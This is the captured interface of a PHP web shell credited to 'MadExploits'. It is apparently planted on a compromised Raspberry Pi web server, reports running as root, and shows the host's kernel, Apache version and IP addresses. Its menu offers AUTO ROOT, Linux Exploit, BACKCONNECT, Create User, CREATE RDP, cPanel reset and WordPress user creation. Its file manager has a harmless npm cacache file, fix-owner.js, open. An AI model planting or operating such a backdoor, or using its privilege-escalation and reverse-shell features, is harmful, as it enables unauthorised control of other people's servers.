Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
nodejs /
cacache /
lib /
util /
[ HOME SHELL ]
Name
Size
Permission
Action
fix-owner.js
2.33
KB
-rw-r--r--
hash-to-segments.js
159
B
-rw-r--r--
move-file.js
1.72
KB
-rw-r--r--
tmp.js
956
B
-rw-r--r--
y.js
538
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fix-owner.js
'use strict' const BB = require('bluebird') const chownr = BB.promisify(require('chownr')) const mkdirp = BB.promisify(require('mkdirp')) const inflight = require('promise-inflight') module.exports.chownr = fixOwner function fixOwner (filepath, uid, gid) { if (!process.getuid) { // This platform doesn't need ownership fixing return BB.resolve() } if (typeof uid !== 'number' && typeof gid !== 'number') { // There's no permissions override. Nothing to do here. return BB.resolve() } if ((typeof uid === 'number' && process.getuid() === uid) && (typeof gid === 'number' && process.getgid() === gid)) { // No need to override if it's already what we used. return BB.resolve() } return inflight( 'fixOwner: fixing ownership on ' + filepath, () => chownr( filepath, typeof uid === 'number' ? uid : process.getuid(), typeof gid === 'number' ? gid : process.getgid() ).catch({code: 'ENOENT'}, () => null) ) } module.exports.chownr.sync = fixOwnerSync function fixOwnerSync (filepath, uid, gid) { if (!process.getuid) { // This platform doesn't need ownership fixing return } if (typeof uid !== 'number' && typeof gid !== 'number') { // There's no permissions override. Nothing to do here. return } if ((typeof uid === 'number' && process.getuid() === uid) && (typeof gid === 'number' && process.getgid() === gid)) { // No need to override if it's already what we used. return } try { chownr.sync( filepath, typeof uid === 'number' ? uid : process.getuid(), typeof gid === 'number' ? gid : process.getgid() ) } catch (err) { if (err.code === 'ENOENT') { return null } } } module.exports.mkdirfix = mkdirfix function mkdirfix (p, uid, gid, cb) { return mkdirp(p).then(made => { if (made) { return fixOwner(made, uid, gid).then(() => made) } }).catch({code: 'EEXIST'}, () => { // There's a race in mkdirp! return fixOwner(p, uid, gid).then(() => null) }) } module.exports.mkdirfix.sync = mkdirfixSync function mkdirfixSync (p, uid, gid) { try { const made = mkdirp.sync(p) if (made) { fixOwnerSync(made, uid, gid) return made } } catch (err) { if (err.code === 'EEXIST') { fixOwnerSync(p, uid, gid) return null } else { throw err } } }
Close